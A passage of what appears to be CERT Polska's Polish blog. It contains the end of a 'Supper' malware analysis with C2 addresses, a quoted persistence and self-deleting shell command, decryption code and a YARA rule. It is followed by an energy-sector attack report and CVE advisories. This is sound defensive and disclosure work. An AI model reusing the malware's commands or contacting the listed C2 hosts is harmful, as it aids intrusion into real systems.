Pierwsza próbka była spakowana tym samym packerem co Latrodectus. Wykonaliśmy ręcznie dump pamięci w momencie pierwszego dostępu typu execute do dynamicznie utworzonej sekcji RWX. Pozwoliło nam to uzyskać czysty i łatwy w analizie zrzut pamięci.

Druga próbka była spakowana innym, nierozpoznanym typem packera, co utrudniło analizę i nie uzyskaliśmy czystego zrzutu pamięci. W momencie analizy próbka nie była dostępna w serwisie VirusTotal.

Główną funkcją w rozpakowanych bibliotekach DLL jest DllRegisterServer. Hardkodowane adresy IP serwerów to:

85.239.54.130:1080, 85.239.54.130:8080 - z pierwszej próbki, nieaktywne w czasie naszej analizy
162.19.199.110:4043 - z pierwszej próbki, aktywny w czasie naszej analizy
185.233.166.27:443 - z drugiej próbki

Pozwoliło nam to ustalić, że złośliwe oprogramowanie należy do rodziny Supper.

Jako mechanizm persystencji próbka dodawała się jako zaplanowane zadanie (Scheduled Task) w systemie Windows:

schtasks.exe /Create /SC MINUTE /TN GoogleUpdateTask /TR "cmd.exe /C del \"%s\" && schtasks.exe /Delete /TN GoogleUpdateTask /F" /F

Aby w pełni zrozumieć możliwości złośliwego oprogramowania, przeprowadziliśmy analizę jego komunikacji sieciowej. Złośliwe oprogramowanie wysyła do serwera C2 następującą wiadomość:

struct msg {
    char[4]     const1 = 0x00691155
    char[4]     srvip;  // IP of the target server
    char[0x100] computer_name
    char[0x100] user_name
    char[0x10]  domain_name
};

W odpowiedziach otrzymaliśmy wyłącznie komendę 1, podkomendę 0. W tym przypadku złośliwe oprogramowanie wykonuje następujące polecenie shellowe:

cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s"

Po dwóch bajtach określających komendę znajduje się reszta payloadu:

struct resp {
    uint16_t type1;  // Command 1
    uint16_t type2;  // Command 2
    uint32_t length;
    uint32_t key;
    char     data[]; // encrypted
};

Ten nagłówek jest "zaszyfrowany" przy użyciu jednobajtowego klucza XOR o wartości "M", natomiast dane są szyfrowane przy użyciu niestandardowego algorytmu przedstawionego poniżej:

def custom(data, key):
    out = []
    v2 = key[0]
    for v1 in range(len(data)):
        v2 = (v1 + v2 * 2) % 256
        out.append(key[v1 % 4] ^ data[v1] ^ (v2 % 256))
    return bytes(out)

Ponownie jedyną komendą, którą otrzymaliśmy była komenda numer 6. Polecenie to aktualizuje listę aktywnych serwerów C2. Aktualnie znane serwery C2 są zapisywane w katalogu %s/orl lub %s/s01bafg (w zależności od próbki). Inne obsługiwane polecenia to między innymi funkcja serwera proxy SOCKS oraz uruchamiania programów wysłanych z serwera C2.

Znajomość protokołu komunikacji pozwoliła nam zaimplementować skrypt automatycznie pobierający kolejne adresy IP C2 i uzyskać następującą listę adresów IP serwerów C2:

162.19.199.110: port 4043
146.19.49.130: port 8080
185.233.166.27: port 443
85.239.54.130: nieaktywny
171.130.169.141: nieaktywny
130.49.19.146: błędny
110.199.19.162: błędny
27.166.233.185: błędny

Adresy IP oznaczone jako "błędne" stanowią lustrzane odbicie rzeczywistych adresów IP C2 (na przykład 4.3.2.1 zamiast 1.2.3.4). Podejrzewamy, że operatorzy nie byli pewni jaka kolejność bajtów jest poprawna i zdecydowali się na wszelki wypadek przesłać obie wersje (adres IP jest wysyłany przez serwer jako DWORD).

Poniższy skrypt został użyty do deszyfrowania komunikacji C2:

import struct
from malduck import chunks, u32, u16, xor

def custom(data, key):
    out = []
    v2 = key[0]
    for v1 in range(len(data)):
        v2 = (v1 + v2 * 2) % 256
        out.append(key[v1 % 4] ^ data[v1] ^ (v2 % 2**32))
    return bytes(out)

def decrypt(ip, payload):
    print("Payload:", payload.hex())

    hdr = xor(payload[:12], b"M"*12)
    length = u32(hdr[4:8])
    key = hdr[8:12]

    body = payload[12:12+length]
    data = custom(body, key)

    ips = []
    for c in chunks(data, 4):
        ips.append(".".join(str(q) for q in c))
    print("Decrypted IPS:", ips)

Poniższa reguła Yara może zostać wykorzystana, aby znaleźć rozpakowane próbki oprogramowania Supper.

rule certpl_supper
{
    meta:
        description = "Supper malware, often pre-ransomware"
        author = "msm"
        date = "2025-10-01"
    strings:
        $a1 = "(%d)\trecv type-%d len %d (0x%x)"
        $a2 = "bad socks5 request"
        $a3 = "[DEBUG MAIN SOCKS] Starting Init SOCKS"
        $magic = {55 11 69 00}
    condition:
        3 of them
}

Podsumowanie

Chociaż początkowy wektor infekcji jest stosunkowo prosty, ataki typu Fake CAPTCHA stanowią duże ryzyko, dając atakującemu możliwość wykonania dowolnego kodu w kontekście użytkownika.

Mamy nadzieję, że nasz wpis na blogu zwiększy świadomość tego typu zagrożenia i podkreśli znaczenie edukacji pracowników oraz monitorowania nietypowych zdarzeń w firmie.

Rok moje.cert.pl i nowe narzędzie – infrastruktura organizacji

2026-02-12T10:30:00+01:00

Ponad pół miliona podatności udało się znaleźć dzięki udostępnieniu serwisu moje.cert.pl. To darmowe narzędzie, z którego korzysta już niemal 16 tysięcy użytkowników. To też ponad 19 tysięcy stron, które należą do instytucji, firm i osób prywatnych, których administratorzy podjęli działania na rzecz bezpieczeństwa swojego, a nierzadko także swoich klientów.

Wyniki skanowań robią wrażenie. Serwis sprawdził już ponad 3,3 miliona domen, subdomen i adresów IP. Podczas tych testów system wykrył ponad pół miliona (573 753) podatności i błędnych konfiguracji, o których administratorzy często nie mieli pojęcia. Do tego dochodzą informacje o wycieku prawie 4 milionów haseł. To coś więcej niż liczby – to realna zmiana poziomu bezpieczeństwa w sieci.

Cały czas rozwijamy i ulepszamy nasz serwis. Każdego dnia informujemy administratorów o wyciekach danych czy podatnościach na ich stronach. Robimy to, zanim te informacje wykorzystają cyberprzestępcy. Ale nie tylko administratorzy czy właściciele domen mogą czerpać korzyści z używania moje.cert.pl. To także miejsce, gdzie każdy znajdzie informacje o aktualnych zagrożeniach – przypomina Marcin Dudek, kierownik CERT Polska.

Projekt moje.cert.pl został stworzony, aby zmienić sposób, w jaki użytkownicy w Polsce dbają o cyberbezpieczeństwo swoich domen. Dane z ostatniego roku pokazują wyraźnie, że uruchomienie serwisu przynosi efekty. To ważne, bo każda wykryta i usunięta podatność oznacza potencjalny incydent, którego udało się uniknąć.

Nowa funkcjonalność – infrastruktura organizacji

Z okazji roku funkcjonowania systemu, eksperci z CERT Polska wprowadzili do platformy nową funkcjonalność o nazwie "Infrastruktura organizacji". Co to oznacza w praktyce? Dziś użytkownicy widzą w moje.cert.pl informacje o tym, gdzie w ich infrastrukturze odnaleziono podatności tzn. w konkretnych, wskazanych zasobach, takich jak domeny czy adresy IP.

Nowa funkcja – analiza infrastruktury organizacji – ma natomiast szerszą perspektywę, tzn. pokazuje całość infrastruktury widocznej z Internetu, w tym również elementy, które nie zostały wcześniej zidentyfikowane lub zgłoszone (np. zapomniane subdomeny, dodatkowe usługi, stare serwery).

Im mniej publicznie dostępnych usług czy paneli administracyjnych, tym mniejsze ryzyko, że atakujący wykorzysta znane podatności lub upublicznione w wycieku hasła. W serwisie moje.cert.pl można teraz wygodnie obejrzeć publicznie dostępną infrastrukturę swojej firmy, np. subdomeny, użyte technologie, panele administracyjne czy otwarte porty, aby ocenić, które z tych elementów warto ukryć lub dodatkowo zabezpieczyć – tłumaczy Krzysztof Zając, ekspert CERT Polska.

Innymi słowy, nowa funkcja w moje.cert.pl pozwala spojrzeć na infrastrukturę z perspektywy potencjalnego atakującego. Dzięki temu umożliwia zrozumienie faktycznej ekspozycji organizacji i ograniczenie liczby publicznie dostępnych punktów wejścia. Co więcej, na stronie dostępne jest interaktywne demo, które pozwala sprawdzić, jak funkcja działa w praktyce – użytkownicy mogą swobodnie klikać, eksplorować i zobaczyć, jakie informacje platforma potrafi zidentyfikować.

Widok infrastruktury w moje.cert.pl dla przykładowej organizacji

Co daje korzystanie z moje.cert.pl?

Serwis moje.cert.pl to bezpłatne rozwiązanie, które zostało przygotowane z myślą o wszystkich, którzy posiadają domeny oraz osobach odpowiedzialnych za utrzymanie infrastruktury teleinformatycznej. Mogą z niego korzystać zarówno właściciele niewielkich stron internetowych, administratorzy sieci w małych firmach, jak i zespoły zarządzające rozbudowanymi systemami w instytucjach publicznych. Platforma udostępnia narzędzia i wskazówki dopasowane do potrzeb każdej z tych grup.

Użytkownicy prywatni mogą szybko sprawdzić, czy ich strony są bezpieczne. Małe przedsiębiorstwa zyskują dostęp do rozwiązań, które jeszcze niedawno były dostępne głównie dla dużych organizacji. Natomiast instytucje publiczne mogą monitorować bezpieczeństwo nawet bardzo złożonych środowisk i to bez ponoszenia dodatkowych kosztów.

Artemis chroni Twoją domenę i sieć

Skanowanie dostępne w serwisie moje.cert.pl działa w oparciu o narzędzie Artemis, które rozwijają eksperci CERT Polska. To zaawansowany system analizujący bezpieczeństwo domen i usług internetowych. Co ważne, Artemis działa w sposób całkowicie nieinwazyjny. Nie obciąża infrastruktury, nie testuje jej wydajności, nie przeprowadza ataków typu DDoS, ani nie omija istniejących zapór sieciowych. Dzięki temu administratorzy mogą mieć pewność, że skanowanie nie wpłynie negatywnie na dostępność systemów ani ich stabilność.

Rozwiązanie, które działa

Zespół CERT Polska wsłuchuje się w potrzeby użytkowników i reaguje na zgłaszane oczekiwania. Stąd zmiany, usprawnienia, nowe funkcje. Rozwijamy i rozbudowujemy serwis moje.cert.pl, bo odgrywa istotną rolę w budowaniu bezpieczeństwa cyfrowego w Polsce.

Podatności w oprogramowaniu Quick.Cart

2026-02-05T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Quick.Cart i koordynował proces ujawniania informacji.

Podatność CVE-2026-23796: Quick.Cart umożliwia ustawienie identyfikatora sesji użytkownika przed uwierzytelnieniem. Wartość tego identyfikatora pozostaje taka sama po uwierzytelnieniu. Takie zachowanie pozwala atakującemu ustawić identyfikator sesji dla ofiary, a następnie przejąć uwierzytelnioną sesję.

Podatność CVE-2026-23797: W Quick.Cart hasła użytkowników są przechowywane w postaci jawnej. Atakujący z uprawnieniami administratora może wyświetlić hasła użytkowników na stronie edycji użytkownika.

Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersji 6.7 - inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Beniaminowi Jabłońskiemu.

Podatność w aplikacji mObywatel na iOS

2026-02-03T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w aplikacji mObywatel i koordynował proces ujawniania informacji.

Podatność CVE-2025-11598: W aplikacji mObywatel na iOS nieuprawniony użytkownik może, korzystając z funkcji App Switcher, podejrzeć dane osobowe właściciela konta wyświetlane w zminimalizowanym oknie aplikacji po zakończeniu sesji logowania (ponowne otwarcie aplikacji wymagałoby ponownego uwierzytelnienia). Zakres ujawnianych informacji zależy od ostatniego widoku aplikacji wyświetlanego przed zminimalizowaniem aplikacji.

Problem został naprawiony w wersji 4.71.0

Podziękowania

Za zgłoszenie podatności dziękujemy Maciejowi Krakowiakowi z firmy DSecure.me.

Podatność w oprogramowaniu EAP Legislator

2026-02-02T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu ABC PRO EAP Legislator i koordynował proces ujawniania informacji.

Podatność CVE-2026-1186: EAP Legislator jest podatny na atak typu Path Traversal w funkcjonalności rozpakowywania plików. Atakujący może przygotować archiwum zipx (domyślny typ pliku używany przez aplikację Legislator) i wskazać dowolną ścieżkę poza katalogiem docelowym (np. folder autostart systemu), do której pliki zostaną rozpakowane przez ofiarę po otwarciu pliku.

Problem został naprawiony w wersji 2.25a.

Podziękowania

Za zgłoszenie podatności dziękujemy Marcinowi Resselowi.

Raport z incydentu w sektorze energii z 29 grudnia 2025 roku

2026-01-30T11:00:00+01:00

Pobierz raport (PDF, 5.6MB) Pobierz raport (PDF, 5.6MB)

W dniu 29 grudnia 2025 roku w godzinach porannych oraz popołudniowych doszło do skoordynowanych ataków w polskiej cyberprzestrzeni. Były one wymierzone w co najmniej 30 farm wiatrowych i fotowoltaicznych, spółkę prywatną z sektora produkcyjnego oraz w dużą elektrociepłownię dostarczającą ciepło dla prawie pół miliona odbiorców w Polsce.

Wszystkie ataki miały cel wyłącznie destrukcyjny. Poprzez analogię do świata fizycznego można je porównać do celowych podpaleń. Warto dodać, że był to okres, w którym Polska zmagała się z niskimi temperaturami i zamieciami śnieżnymi, tuż przed Nowym Rokiem. Choć ataki na farmy odnawialnych źródeł energii spowodowały zerwanie komunikacji pomiędzy tymi obiektami a operatorami sieci dystrybucyjnej, nie miały jednak wpływu na biężącą produkcję energii elektrycznej. Podobnie, atak na elektrociepłownię nie osiągnął planowanego przez atakującego skutku w postaci spowodowania przerw w dostawie ciepła do odbiorców końcowych.

Zdarzenia te miały wpływ zarówno na systemy informatyczne, jak i na fizyczne urządzenia przemysłowe, co jest rzadko spotykane w dotychczas opisywanych atakach. Publikujemy raport z analizy tego incydentu, aby przekazać wiedzę o przebiegu zdarzeń oraz o technikach zastosowanych przez atakującego. Liczymy, że dzięki temu wzrośnie świadomość realnego ryzyka związanego z dywersją w cyberprzestrzeni. Odnotowane ataki są znaczną eskalacją w porównaniu ze zdarzeniami obserwowanymi przez nas do tej pory.

Atak na farmy odnawialnych źródeł energii (OZE)

Atakami zostały dotknięte stacje elektroenergetyczne - główne punkty odbioru, które pełnią rolę węzłów przekazujących energię ze źródeł wiatrowych i fotowoltaicznych do sieci dystrybucyjnej. W głównych punktach odbioru działa wiele urządzeń w obszarze automatyki przemysłowej, które znalazły się w zainteresowaniu atakującego. Wśród nich są sterowniki RTU odpowiedzialne za telemechanikę i nadzór nad pracą stacji, lokalne HMI wizualizujące stan pracy obiektu, sterowniki zabezpieczeń odpowiedzialne m.in. za ochronę przed uszkodzeniami elektrycznymi czy urządzenia służące do komunikacji, takie jak serwery portów szeregowych, modemy, routery i przełączniki sieciowe.

Po uzyskaniu dostępu do sieci wewnętrznej głównych punktów odbioru atakujący przeprowadził rekonesans, a następnie przygotował plan działań destrukcyjnych skierowanych na dostępne dla niego urządzenia: uszkodzenie oprogramowania wbudowanego sterowników, usuwanie plików systemowych czy uruchomienie przygotowanego złośliwego oprogramowania uszkadzającego pliki (wiper). Częściowo zautomatyzowany plan został uruchomiony w godzinach porannych 29 grudnia. W efekcie uszkodzenia sterowników RTU stacje utraciły możliwość komunikacji z systemami operatora sieci dystrybucyjnej i uniemożliwiły zdalne sterowanie, co jednak nie wpłynęło na bieżącą produkcję energii.

Atak na dużą elektrociepłownię

Celem ataku na elektrociepłownię był sabotaż w postaci nieodwracalnego uszkodzenia danych znajdujących się na urządzeniach w sieci wewnętrznej podmiotu za pomocą złośliwego oprogramowania typu wiper. Atak został poprzedzony długotrwałą infiltracją infrastruktury i kradzieżą wrażliwych informacji dotyczących działania podmiotu. W wyniku swoich działań atakujący uzyskał dostęp do kont uprzywilejowanych, co umożliwiło mu swobodne poruszanie się w systemach elektrociepłowni. W momencie próby uruchomienia złośliwego oprogramowania jego działanie zostało zablokowane przez używane w podmiocie oprogramowanie klasy EDR.

Atak na przedsiębiorstwo z sektora produkcyjnego

Tego samego dnia, a więc 29 grudnia, atakujący podjął również próbę zakłócenia funkcjonowania przedsiębiorstwa z sektora produkcyjnego. Działania te zostały przeprowadzone w sposób skoordynowany z atakami na przedsiębiorstwa sektora energetycznego, ale cel miał charakter oportunistyczny i nie jest powiązany z innymi podmiotami. Użyte oprogramowanie typu wiper było tożsame z tym wykorzystanym w ataku na elektrociepłownię. Szczegółową analizę techniczną złośliwego oprogramowania przedstawiamy w raporcie.

Atrybucja

Analiza infrastruktury wykorzystanej do ataku, w tym przejętych serwerów VPS, routerów, analiza przepływów i charakterystyka infrastruktury anonimizującej pozwala stwierdzić, że w znacznym stopniu pokrywa się ona z infrastrukturą używaną przez klaster aktywności znany w przestrzeni publicznej jako „Static Tundra” (Cisco), „Berserk Bear” (CrowdStrike), „Ghost Blizzard” (Microsoft) oraz „Dragonfly” (Symantec). Publicznie dostępne opisy działań aktora wskazują na duże zainteresowanie sektorem energetyki oraz posiadanie odpowiednich zdolności do atakowania urządzeń przemysłowych, co jest zbieżne z obserwowanymi w incydencie działaniami atakującego. Jest to natomiast pierwsza publicznie opisana aktywność o charakterze destrukcyjnym przypisywana do tego klastra aktywności.

Rekomendacje

Poniżej zamieszczamy rekomendacje wynikające z analizy incydentu:

Weryfikacja logów pod kątem występowania IoC oraz technik wykorzystywanych przez aktora, opisanych w raporcie. Należy zgłosić incydent do właściwego zespołu CSIRT poziomu krajowego w przypadku ich wykrycia.
Rejestracja w systemie moje.cert.pl. Należy podać i zweryfikować wszystkie zakresy zewnętrznej adresacji IP oraz wykorzystywane przez organizacje domeny, co umożliwi monitorowanie bezpieczeństwa tych zasobów. Wyznaczona osoba odpowiedzialna za cyberbezpieczeństwo powinna być wskazana w portalu jako osoba do kontaktu. Należy utrzymywać aktualność podanych danych kontaktowych.
Wdrożenie rekomendacji dla wzmocnienia ochrony systemów OT opisanych w artykule Rekomendacje dla wzmocnienia ochrony systemów OT.
Zastosowanie rekomendacji opisanych w Komunikacie Pełnomocnika Rządu do spraw Cyberbezpieczeństwa dotyczącym cyberbezpieczeństwa OZE.
Zgłaszanie incydentów cyberbezpieczeństwa do właściwego zespołu CSIRT poziomu krajowego:
• CSIRT GOV - administracja rządowa i infrastruktura krytyczna,
• CSIRT MON - instytucje wojskowe,
• CSIRT NASK - wszystkie pozostałe.

Zachęcamy do pobrania i lektury raportu, w którym opisujemy pełny przebieg zdarzeń, analizę techniczną użytego złośliwego oprogramowania, wskaźniki kompromitacji oraz opis technik, taktyk i procedur stosowanych przez atakującego.

Podatności w oprogramowaniu routera LV-WR21Q

2026-01-27T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu routera Pix-Link LV-WR21Q i koordynował proces ujawniania informacji.

Podatność CVE-2025-12386: Endpoint /goform/getHomePageInfo w Pix-Link LV-WR21Q nie wymaga żadnej formy uwierzytelnienia. Zdalny, nieuwierzytelniony atakujący może wykorzystać ten endpoint, np. do uzyskania hasła do punktu dostępowego w postaci jawnego tekstu.

Podatność CVE-2025-12387: Podatność w module językowym routera Pix-Link LV-WR21Q umożliwia zdalnemu atakującemu wywołanie ataku typu DoS poprzez wysłanie specjalnie spreparowanego żądania HTTP POST zawierającego nieistniejący parametr językowy. Powoduje to, że serwer nie jest w stanie poprawnie udostępnić pliku lang.js, co skutkuje niedostępnością panelu administracyjnego i prowadzi do stanu DoS aż do momentu przywrócenia ustawień językowych do prawidłowej wartości. Odmowa usługi dotyczy wyłącznie panelu administracyjnego i nie wpływa na pozostałe funkcjonalności routera.

Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersji V108_108 - inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Wojciechowi Cybowskiemu.

Podatność TCC Bypass w aplikacji Inkscape na MacOS

2026-01-22T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Inkscape i koordynował proces ujawniania informacji.

Podatność CVE-2025-15523: Wersja Inkscape dla MacOS zawiera interpreter Pythona, który dziedziczy uprawnienia TCC (Transparency, Consent, and Control) nadane przez użytkownika głównej aplikacji. Atakujący mający dostęp do lokalnego konta użytkownika może uruchomić ten interpreter z dowolnymi poleceniami lub skryptami, wykorzystując wcześniej nadane uprawnienia TCC do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych — bez wywoływania dodatkowych monitów systemowych. Dostęp do innych zasobów, które nie zostały wcześniej zatwierdzone w ramach TCC, spowoduje wyświetlenie monitu o zgodę w imieniu podatnej aplikacji, co może posłużyć do ukrycia złośliwego działania atakującego.

Problem został naprawiony w wersji 1.4.3 programu Inkscape.

Podziękowania

Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi oraz Hubertowi Decyuszowi z zespołu AFINE.

Podatności w oprogramowaniu Quick.Cart

2026-01-22T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution Quick.Cart i koordynował proces ujawniania informacji.

Podatność CVE-2025-67683: Quick.Cart jest podatny na Reflected Cross-Site Scripting w parametrze sSort. Atakujący może spreparować adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Podatność CVE-2025-67684: Quick.Cart jest podatny na ataki typu Local File Inclusion oraz Path Traversal w mechanizmie wyboru motywu. Quick.Cart pozwala uprzywilejowanemu użytkownikowi na przesłanie dowolnego pliku, weryfikując jedynie rozszerzenie nazwy pliku. Umożliwia to atakującemu dołączenie do pliku kodu PHP i jego wykonanie, co prowadzi do zdalnego wykonania kodu na serwerze.

Producent został wcześniej poinformowany o tych podatnościach, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatności jedynie w wersji 6.7 - inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.

Podatność w aplikacji mobilnej Crazy Bubble Tea

2026-01-14T12:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w aplikacji mobilnej Emaintenance Crazy Bubble Tea i koordynował proces ujawniania informacji.

Podatność CVE-2025-14317: W aplikacji mobilnej Crazy Bubble Tea uwierzytelniony atakujący może uzyskać dane osobowe innych użytkowników poprzez enumerację parametru loyaltyGuestId. Serwer nie weryfikuje uprawnień wymaganych do uzyskania tych danych.

Podatność została naprawiona w wersji 915 (Android) oraz 7.4.1 (iOS).

Podziękowania

Za zgłoszenie podatności dziękujemy Tobiaszowi „Palidon” Kostrzewie.

Podatność w oprogramowaniu Ysoft SafeQ 6

2026-01-14T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu YSoft SafeQ 6 i koordynował proces ujawniania informacji.

Podatność CVE-2025-13175: Y Soft SafeQ 6 maskuje pole hasła do Workflow Connectora w taki sposób, że administrator z dostępem do interfejsu użytkownika może ujawnić jego wartość korzystając z narzędzi deweloperskich przeglądarki. Dotyczy to wyłącznie klientów, którzy korzystają z Workflow Connectora chronionego hasłem. Podatność dotyczy wszystkich wersji produktu przed MU106.

Podziękowania

Za zgłoszenie podatności dziękujemy Hubertowi Decyuszowi oraz Karolowi Mazurkowi z AFINE Team.

Podatności w oprogramowaniu kamery Vivotek IP7137

2026-01-09T12:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu kamery Vivotek IP7137 i koordynował proces ujawniania informacji.

Podatność CVE-2025-66049: Kamera Vivotek IP7137 umożliwia dostęp do obrazu na żywo za pośrednictwem protokołu RTSP na porcie 8554 bez uwierzytelnienia. Pozwala to nieuprawnionym użytkownikom z dostępem sieciowym do kamery na podgląd obrazu, co może prowadzić do naruszenia prywatności i bezpieczeństwa użytkownika.

Podatność CVE-2025-66050: Kamera Vivotek IP7137 domyślnie nie wymaga podania hasła podczas logowania na konto administratora. Chociaż możliwe jest ustawienie takiego hasła, użytkownik nie jest informowany o konieczności jego konfiguracji.

Podatność CVE-2025-66051: Kamera Vivotek IP7137 jest podatna na atak typu path traversal. Uwierzytelniony atakujący może uzyskać dostęp do zasobów znajdujących się poza katalogiem webroot przy użyciu bezpośredniego żądania HTTP.

Podatność CVE-2025-66052: Kamera Vivotek IP7137 jest podatna na atak typu command injection. Parametr system_ntpIt wykorzystywany przez endpoint /cgi-bin/admin/setparam.cgi nie jest odpowiednio filtrowany, co umożliwia użytkownikowi z uprawnieniami administratora przeprowadzenie ataku.

Producent nie odpowiedział na zgłoszenie CNA. Możliwe, że podatność dotyczy wszystkich wersji oprogramowania układowego (testowana wersja to 0200a). Ponieważ produkt osiągnął fazę End-Of-Life, nie należy oczekiwać wydania poprawki.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Paszunowi.

Podatność w oprogramowaniu routerów KAON CG3000T/CG3000TC

2026-01-09T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie dotyczące podatności w dwóch routerach KAON: CG3000T oraz CG3000CT. Zespół uczestniczył w koordynacji procesu ujawnienia tej podatności.

Podatność CVE-2025-7072: Oprogramowanie układowe w routerach KAON CG3000TC oraz CG3000T zawiera zaszyte na stałe dane uwierzytelniające zapisane w postaci jawnego tekstu (wspólne dla wszystkich routerów tego modelu), które nieuwierzytelniony zdalny atakujący może wykorzystać do wykonywania poleceń z uprawnieniami roota.

Podatność została naprawiona w wersjach oprogramowania układowego: 1.00.67 dla CG3000TC oraz 1.00.27 dla CG3000T.

Podziękowania

Za zgłoszenie podatności dziękujemy Piotrowi Ługowskiemu.

Podatność w oprogramowaniu Asseco AMDX

2026-01-08T15:56:00+01:00

Opis podatności

Asseco ADMX to oprogramowanie klasy HIS (Hospital Information System) wykorzystywane przez szpitale do przetwarzania danych medycznych. CERT Polska otrzymał zgłoszenie o podatności w tym oprogramowaniu i koordynował proces ujawniania informacji.

Podatność CVE-2025-4596 pozwala zalogowanym użytkownikom (pacjentom) na dostęp do dokumentacji medycznej innych użytkowników poprzez manipulację argumentami GET zawierającymi identyfikatory dokumentów. Problem został naprawiony w wersji 6.09.01.62 systemu ADMX.

Podziękowania

Za zgłoszenie podatności dziękujemy Wiktorowi Mrozowi.

Podatności w oprogramowaniu Asseco InfoMedica Plus

2026-01-08T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Asseco InfoMedica Plus i koordynował proces ujawniania informacji.

Asseco InfoMedica to kompleksowe rozwiązanie służące do zarządzania zarówno zadaniami administracyjnymi, jak i medycznymi w sektorze ochrony zdrowia.

Podatność CVE-2025-8306: Z powodu braku odpowiedniej granulacji kontroli dostępu użytkownik o niskich uprawnieniach może uzyskać zakodowane hasła należące do innych użytkowników (w tym głównego administratora).

Podatność CVE-2025-8307: Hasła wszystkich użytkowników są przechowywane w bazie danych w formacie zakodowanym. Atakujący posiadający te hasła jest w stanie je odkodować, korzystając z algorytmu wbudowanego w część kliencką oprogramowania.

Wykorzystanie obu podatności umożliwia atakującemu eskalację uprawnień.

Obie podatności zostały naprawione w wersjach 4.50.1 oraz 5.38.0.

Podziękowania

Za zgłoszenie podatności dziękujemy Maciejowi Kazulakowi.

Podatność w oprogramowaniu Kieback&Peter Neutrino-GLT

2026-01-07T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Kieback&Peter Neutrino-GLT i koordynował proces ujawniania informacji.

Produkt Kieback&Peter Neutrino-GLT jest używany do zarządzania budynkami.

Podatność CVE-2025-6225: Komponent webowy Kieback&Peter Neutrino-GLT - "SM70 PHWEB" jest podatny na wstrzyknięcie poleceń powłoki poprzez formularz logowania. W przypadku ataku wstrzyknięte polecenia wykonywane są z niskimi uprawnieniami systemowymi.

Podatność została naprawiona w wersji 9.40.02.

Podziękowania

Za zgłoszenie podatności dziękujemy Janowi Barszczowi.

Podatności w oprogramowaniu routera WODESYS WD-R608U

2025-12-18T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu routera WODESYS WD-R608U i koordynował proces ujawniania informacji.

Podatność CVE-2025-65007: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) z powodu braku uwierzytelniania w module zmiany konfiguracji w endpoincie 'adm.cgi', nieuwierzytelniony atakujący może wykonać polecenia, w tym tworzenie kopii zapasowych, restart urządzenia oraz przywracanie urządzenia do ustawień fabrycznych.

Podatność CVE-2025-65008: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) z powodu braku walidacji parametru 'langGet' w endpoincie 'adm.cgi', atakujący może wykonywać polecenia powłoki systemowej.

Podatność CVE-2025-65009: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) hasło administratora jest przechowywane w pliku konfiguracyjnym w postaci zwykłego tekstu i może zostać uzyskane przez nieautoryzowanego użytkownika poprzez bezpośrednie odwołania do odpowiedniego zasobu.

Podatność CVE-2025-65010: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) atakujący może zmienić hasło do panelu administratora bez autoryzacji. Podatność może być również wykorzystana po zakończeniu wstępnej konfiguracji.

Podatność CVE-2025-65011: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) nieautoryzowany użytkownik może przeglądać pliki konfiguracyjne poprzez bezpośrednie odwołanie do odpowiedniego zasobu.

Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji WDR28081123OV1.01 — inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Wojciechowi Cybowskiemu.

Podatność w oprogramowaniu urządzeń Govee z łącznością sieciową

2025-12-18T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu urządzeń Govee i koordynował proces ujawniania informacji.

Podatność CVE-2025-10910: Podatność w procesie dodawania urządzeń do konta w chmurze Govee umożliwia zdalnemu atakującemu powiązanie istniejącego, podłączonego do Internetu urządzenia Govee z kontem atakującego, co skutkuje pełnym przejęciem kontroli nad urządzeniem oraz usunięciem go z konta jego prawowitego właściciela.
Interfejs API odpowiedzialny za powiązanie urządzenia po stronie serwera akceptuje zestaw identyfikatorów: device, sku, type oraz pole value, które jest obliczane po stronie klienta i nie jest kryptograficznie powiązane z żadnym sekretem pochodzącym bezpośrednio z urządzenia.

